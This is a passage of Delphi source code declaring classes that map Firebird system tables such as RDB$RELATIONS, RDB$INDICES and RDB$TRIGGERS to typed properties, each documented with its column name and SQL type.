/// <para>Field: <b>RDB$VALIDATION_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property ValidationBlr: TSqlBlob read FValidationBlr;
/// <summary>
/// <para>Field: <b>RDB$VALIDATION_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ValidationSource: TSqlMemo read FValidationSource;
/// <summary>
/// <para>Field: <b>RDB$COMPUTED_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property ComputedBlr: TSqlBlob read FComputedBlr;
/// <summary>
/// <para>Field: <b>RDB$COMPUTED_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ComputedSource: TSqlMemo read FComputedSource;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_VALUE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property DefaultValue: TSqlBlob read FDefaultValue;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DefaultSource: TSqlMemo read FDefaultSource;
/// <summary>
/// <para>Field: <b>RDB$FIELD_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldLength: TSqlSmallInt read FFieldLength;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SCALE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldScale: TSqlSmallInt read FFieldScale;
/// <summary>
/// <para>Field: <b>RDB$FIELD_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldType: TSqlSmallInt read FFieldType;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SUB_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldSubType: TSqlSmallInt read FFieldSubType;
/// <summary>
/// <para>Field: <b>RDB$MISSING_VALUE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property MissingValue: TSqlBlob read FMissingValue;
/// <summary>
/// <para>Field: <b>RDB$MISSING_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property MissingSource: TSqlMemo read FMissingSource;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$QUERY_HEADER</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property QueryHeader: TSqlMemo read FQueryHeader;
/// <summary>
/// <para>Field: <b>RDB$SEGMENT_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SegmentLength: TSqlSmallInt read FSegmentLength;
/// <summary>
/// <para>Field: <b>RDB$EDIT_STRING</b></para>
/// <para>Type: <b>VARCHAR(127) CHARACTER SET NONE</b></para>
/// </summary>
property EditString: TSqlString read FEditString;
/// <summary>
/// <para>Field: <b>RDB$EXTERNAL_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ExternalLength: TSqlSmallInt read FExternalLength;
/// <summary>
/// <para>Field: <b>RDB$EXTERNAL_SCALE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ExternalScale: TSqlSmallInt read FExternalScale;
/// <summary>
/// <para>Field: <b>RDB$EXTERNAL_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ExternalType: TSqlSmallInt read FExternalType;
/// <summary>
/// <para>Field: <b>RDB$DIMENSIONS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Dimensions: TSqlSmallInt read FDimensions;
/// <summary>
/// <para>Field: <b>RDB$NULL_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property NullFlag: TSqlSmallInt read FNullFlag;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterLength: TSqlSmallInt read FCharacterLength;
/// <summary>
/// <para>Field: <b>RDB$COLLATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CollationId: TSqlSmallInt read FCollationId;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterSetId: TSqlSmallInt read FCharacterSetId;
/// <summary>
/// <para>Field: <b>RDB$FIELD_PRECISION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldPrecision: TSqlSmallInt read FFieldPrecision;
end;
TRdbIndexSegmentsTable = class(TTable)
private
FIndexName: TSqlString;
FFieldName: TSqlString;
FFieldPosition: TSqlSmallInt;
FStatistics: TSqlFloat;
public
constructor Create; override;
function GetUnique: TRdbIndexSegmentsTable;
published
/// <summary>
/// <para>Field: <b>RDB$INDEX_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property IndexName: TSqlString read FIndexName;
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$FIELD_POSITION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldPosition: TSqlSmallInt read FFieldPosition;
/// <summary>
/// <para>Field: <b>RDB$STATISTICS</b></para>
/// <para>Type: <b>DOUBLE PRECISION</b></para>
/// </summary>
property Statistics: TSqlFloat read FStatistics;
end;
TRdbIndicesTable = class(TTable)
private
FIndexName: TSqlString;
FRelationName: TSqlString;
FIndexId: TSqlSmallInt;
FUniqueFlag: TSqlSmallInt;
FDescription: TSqlMemo;
FSegmentCount: TSqlSmallInt;
FIndexInactive: TSqlSmallInt;
FIndexType: TSqlSmallInt;
FForeignKey: TSqlString;
FSystemFlag: TSqlSmallInt;
FExpressionBlr: TSqlBlob;
FExpressionSource: TSqlMemo;
FStatistics: TSqlFloat;
public
constructor Create; override;
function GetUnique: TRdbIndicesTable;
published
/// <summary>
/// <para>Field: <b>RDB$INDEX_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property IndexName: TSqlString read FIndexName;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$INDEX_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property IndexId: TSqlSmallInt read FIndexId;
/// <summary>
/// <para>Field: <b>RDB$UNIQUE_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property UniqueFlag: TSqlSmallInt read FUniqueFlag;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SEGMENT_COUNT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SegmentCount: TSqlSmallInt read FSegmentCount;
/// <summary>
/// <para>Field: <b>RDB$INDEX_INACTIVE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property IndexInactive: TSqlSmallInt read FIndexInactive;
/// <summary>
/// <para>Field: <b>RDB$INDEX_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property IndexType: TSqlSmallInt read FIndexType;
/// <summary>
/// <para>Field: <b>RDB$FOREIGN_KEY</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ForeignKey: TSqlString read FForeignKey;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$EXPRESSION_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property ExpressionBlr: TSqlBlob read FExpressionBlr;
/// <summary>
/// <para>Field: <b>RDB$EXPRESSION_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ExpressionSource: TSqlMemo read FExpressionSource;
/// <summary>
/// <para>Field: <b>RDB$STATISTICS</b></para>
/// <para>Type: <b>DOUBLE PRECISION</b></para>
/// </summary>
property Statistics: TSqlFloat read FStatistics;
end;
TRdbRelationFieldsTable = class(TTable)
private
FFieldName: TSqlString;
FRelationName: TSqlString;
FFieldSource: TSqlString;
FQueryName: TSqlString;
FBaseField: TSqlString;
FEditString: TSqlString;
FFieldPosition: TSqlSmallInt;
FQueryHeader: TSqlMemo;
FUpdateFlag: TSqlSmallInt;
FFieldId: TSqlSmallInt;
FViewContext: TSqlSmallInt;
FDescription: TSqlMemo;
FDefaultValue: TSqlBlob;
FSystemFlag: TSqlSmallInt;
FSecurityClass: TSqlString;
FComplexName: TSqlString;
FNullFlag: TSqlSmallInt;
FDefaultSource: TSqlMemo;
FCollationId: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbRelationFieldsTable;
published
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SOURCE</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldSource: TSqlString read FFieldSource;
/// <summary>
/// <para>Field: <b>RDB$QUERY_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property QueryName: TSqlString read FQueryName;
/// <summary>
/// <para>Field: <b>RDB$BASE_FIELD</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property BaseField: TSqlString read FBaseField;
/// <summary>
/// <para>Field: <b>RDB$EDIT_STRING</b></para>
/// <para>Type: <b>VARCHAR(127) CHARACTER SET NONE</b></para>
/// </summary>
property EditString: TSqlString read FEditString;
/// <summary>
/// <para>Field: <b>RDB$FIELD_POSITION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldPosition: TSqlSmallInt read FFieldPosition;
/// <summary>
/// <para>Field: <b>RDB$QUERY_HEADER</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property QueryHeader: TSqlMemo read FQueryHeader;
/// <summary>
/// <para>Field: <b>RDB$UPDATE_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property UpdateFlag: TSqlSmallInt read FUpdateFlag;
/// <summary>
/// <para>Field: <b>RDB$FIELD_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldId: TSqlSmallInt read FFieldId;
/// <summary>
/// <para>Field: <b>RDB$VIEW_CONTEXT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ViewContext: TSqlSmallInt read FViewContext;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_VALUE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property DefaultValue: TSqlBlob read FDefaultValue;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$SECURITY_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SecurityClass: TSqlString read FSecurityClass;
/// <summary>
/// <para>Field: <b>RDB$COMPLEX_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ComplexName: TSqlString read FComplexName;
/// <summary>
/// <para>Field: <b>RDB$NULL_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property NullFlag: TSqlSmallInt read FNullFlag;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DefaultSource: TSqlMemo read FDefaultSource;
/// <summary>
/// <para>Field: <b>RDB$COLLATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CollationId: TSqlSmallInt read FCollationId;
end;
TRdbRelationsTable = class(TTable)
private
FViewBlr: TSqlBlob;
FViewSource: TSqlMemo;
FDescription: TSqlMemo;
FRelationId: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
FDbkeyLength: TSqlSmallInt;
FFormat: TSqlSmallInt;
FFieldId: TSqlSmallInt;
FRelationName: TSqlString;
FSecurityClass: TSqlString;
FExternalFile: TSqlString;
FRuntime: TSqlBlob;
FExternalDescription: TSqlBlob;
FOwnerName: TSqlString;
FDefaultClass: TSqlString;
FFlags: TSqlSmallInt;
FRelationType: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbRelationsTable;
published
/// <summary>
/// <para>Field: <b>RDB$VIEW_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property ViewBlr: TSqlBlob read FViewBlr;
/// <summary>
/// <para>Field: <b>RDB$VIEW_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ViewSource: TSqlMemo read FViewSource;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$RELATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property RelationId: TSqlSmallInt read FRelationId;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$DBKEY_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property DbkeyLength: TSqlSmallInt read FDbkeyLength;
/// <summary>
/// <para>Field: <b>RDB$FORMAT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Format: TSqlSmallInt read FFormat;
/// <summary>
/// <para>Field: <b>RDB$FIELD_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldId: TSqlSmallInt read FFieldId;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$SECURITY_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SecurityClass: TSqlString read FSecurityClass;
/// <summary>
/// <para>Field: <b>RDB$EXTERNAL_FILE</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property ExternalFile: TSqlString read FExternalFile;
/// <summary>
/// <para>Field: <b>RDB$RUNTIME</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 5 SEGMENT SIZE 80</b></para>
/// </summary>
property Runtime: TSqlBlob read FRuntime;
/// <summary>
/// <para>Field: <b>RDB$EXTERNAL_DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 8 SEGMENT SIZE 80</b></para>
/// </summary>
property ExternalDescription: TSqlBlob read FExternalDescription;
/// <summary>
/// <para>Field: <b>RDB$OWNER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property OwnerName: TSqlString read FOwnerName;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DefaultClass: TSqlString read FDefaultClass;
/// <summary>
/// <para>Field: <b>RDB$FLAGS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Flags: TSqlSmallInt read FFlags;
/// <summary>
/// <para>Field: <b>RDB$RELATION_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property RelationType: TSqlSmallInt read FRelationType;
end;
TRdbViewRelationsTable = class(TTable)
private
FViewName: TSqlString;
FRelationName: TSqlString;
FViewContext: TSqlSmallInt;
FContextName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbViewRelationsTable;
published
/// <summary>
/// <para>Field: <b>RDB$VIEW_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ViewName: TSqlString read FViewName;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$VIEW_CONTEXT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ViewContext: TSqlSmallInt read FViewContext;
/// <summary>
/// <para>Field: <b>RDB$CONTEXT_NAME</b></para>
/// <para>Type: <b>CHAR(255) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ContextName: TSqlString read FContextName;
end;
TRdbFormatsTable = class(TTable)
private
FRelationId: TSqlSmallInt;
FFormat: TSqlSmallInt;
FDescriptor: TSqlBlob;
public
constructor Create; override;
function GetUnique: TRdbFormatsTable;
published
/// <summary>
/// <para>Field: <b>RDB$RELATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property RelationId: TSqlSmallInt read FRelationId;
/// <summary>
/// <para>Field: <b>RDB$FORMAT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Format: TSqlSmallInt read FFormat;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTOR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 6 SEGMENT SIZE 80</b></para>
/// </summary>
property Descriptor: TSqlBlob read FDescriptor;
end;
TRdbSecurityClassesTable = class(TTable)
private
FSecurityClass: TSqlString;
FAcl: TSqlBlob;
FDescription: TSqlMemo;
public
constructor Create; override;
function GetUnique: TRdbSecurityClassesTable;
published
/// <summary>
/// <para>Field: <b>RDB$SECURITY_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SecurityClass: TSqlString read FSecurityClass;
/// <summary>
/// <para>Field: <b>RDB$ACL</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 3 SEGMENT SIZE 80</b></para>
/// </summary>
property Acl: TSqlBlob read FAcl;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
end;
TRdbFilesTable = class(TTable)
private
FFileName: TSqlString;
FFileSequence: TSqlSmallInt;
FFileStart: TSqlInteger;
FFileLength: TSqlInteger;
FFileFlags: TSqlSmallInt;
FShadowNumber: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbFilesTable;
published
/// <summary>
/// <para>Field: <b>RDB$FILE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property FileName: TSqlString read FFileName;
/// <summary>
/// <para>Field: <b>RDB$FILE_SEQUENCE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FileSequence: TSqlSmallInt read FFileSequence;
/// <summary>
/// <para>Field: <b>RDB$FILE_START</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property FileStart: TSqlInteger read FFileStart;
/// <summary>
/// <para>Field: <b>RDB$FILE_LENGTH</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property FileLength: TSqlInteger read FFileLength;
/// <summary>
/// <para>Field: <b>RDB$FILE_FLAGS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FileFlags: TSqlSmallInt read FFileFlags;
/// <summary>
/// <para>Field: <b>RDB$SHADOW_NUMBER</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ShadowNumber: TSqlSmallInt read FShadowNumber;
end;
TRdbTypesTable = class(TTable)
private
FFieldName: TSqlString;
FType_: TSqlSmallInt;
FTypeName: TSqlString;
FDescription: TSqlMemo;
FSystemFlag: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbTypesTable;
published
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Type_: TSqlSmallInt read FType_;
/// <summary>
/// <para>Field: <b>RDB$TYPE_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property TypeName: TSqlString read FTypeName;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
end;
TRdbTriggersTable = class(TTable)
private
FTriggerName: TSqlString;
FRelationName: TSqlString;
FTriggerSequence: TSqlSmallInt;
FTriggerType: TSqlSmallInt;
FTriggerSource: TSqlMemo;
FTriggerBlr: TSqlBlob;
FDescription: TSqlMemo;
FTriggerInactive: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
FFlags: TSqlSmallInt;
FValidBlr: TSqlSmallInt;
FDebugInfo: TSqlBlob;
public
constructor Create; override;
function GetUnique: TRdbTriggersTable;
published
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property TriggerName: TSqlString read FTriggerName;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_SEQUENCE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property TriggerSequence: TSqlSmallInt read FTriggerSequence;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property TriggerType: TSqlSmallInt read FTriggerType;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property TriggerSource: TSqlMemo read FTriggerSource;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property TriggerBlr: TSqlBlob read FTriggerBlr;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_INACTIVE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property TriggerInactive: TSqlSmallInt read FTriggerInactive;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$FLAGS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Flags: TSqlSmallInt read FFlags;
/// <summary>
/// <para>Field: <b>RDB$VALID_BLR</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ValidBlr: TSqlSmallInt read FValidBlr;
/// <summary>
/// <para>Field: <b>RDB$DEBUG_INFO</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 9 SEGMENT SIZE 80</b></para>
/// </summary>
property DebugInfo: TSqlBlob read FDebugInfo;
end;
TRdbDependenciesTable = class(TTable)
private
FDependentName: TSqlString;
FDependedOnName: TSqlString;
FFieldName: TSqlString;
FDependentType: TSqlSmallInt;
FDependedOnType: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbDependenciesTable;
published
/// <summary>
/// <para>Field: <b>RDB$DEPENDENT_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DependentName: TSqlString read FDependentName;
/// <summary>
/// <para>Field: <b>RDB$DEPENDED_ON_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DependedOnName: TSqlString read FDependedOnName;
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$DEPENDENT_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property DependentType: TSqlSmallInt read FDependentType;
/// <summary>
/// <para>Field: <b>RDB$DEPENDED_ON_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property DependedOnType: TSqlSmallInt read FDependedOnType;
end;
TRdbFunctionsTable = class(TTable)
private
FFunctionName: TSqlString;
FFunctionType: TSqlSmallInt;
FQueryName: TSqlString;
FDescription: TSqlMemo;
FModuleName: TSqlString;
FEntrypoint: TSqlString;
FReturnArgument: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbFunctionsTable;
published
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FunctionName: TSqlString read FFunctionName;
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FunctionType: TSqlSmallInt read FFunctionType;
/// <summary>
/// <para>Field: <b>RDB$QUERY_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property QueryName: TSqlString read FQueryName;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
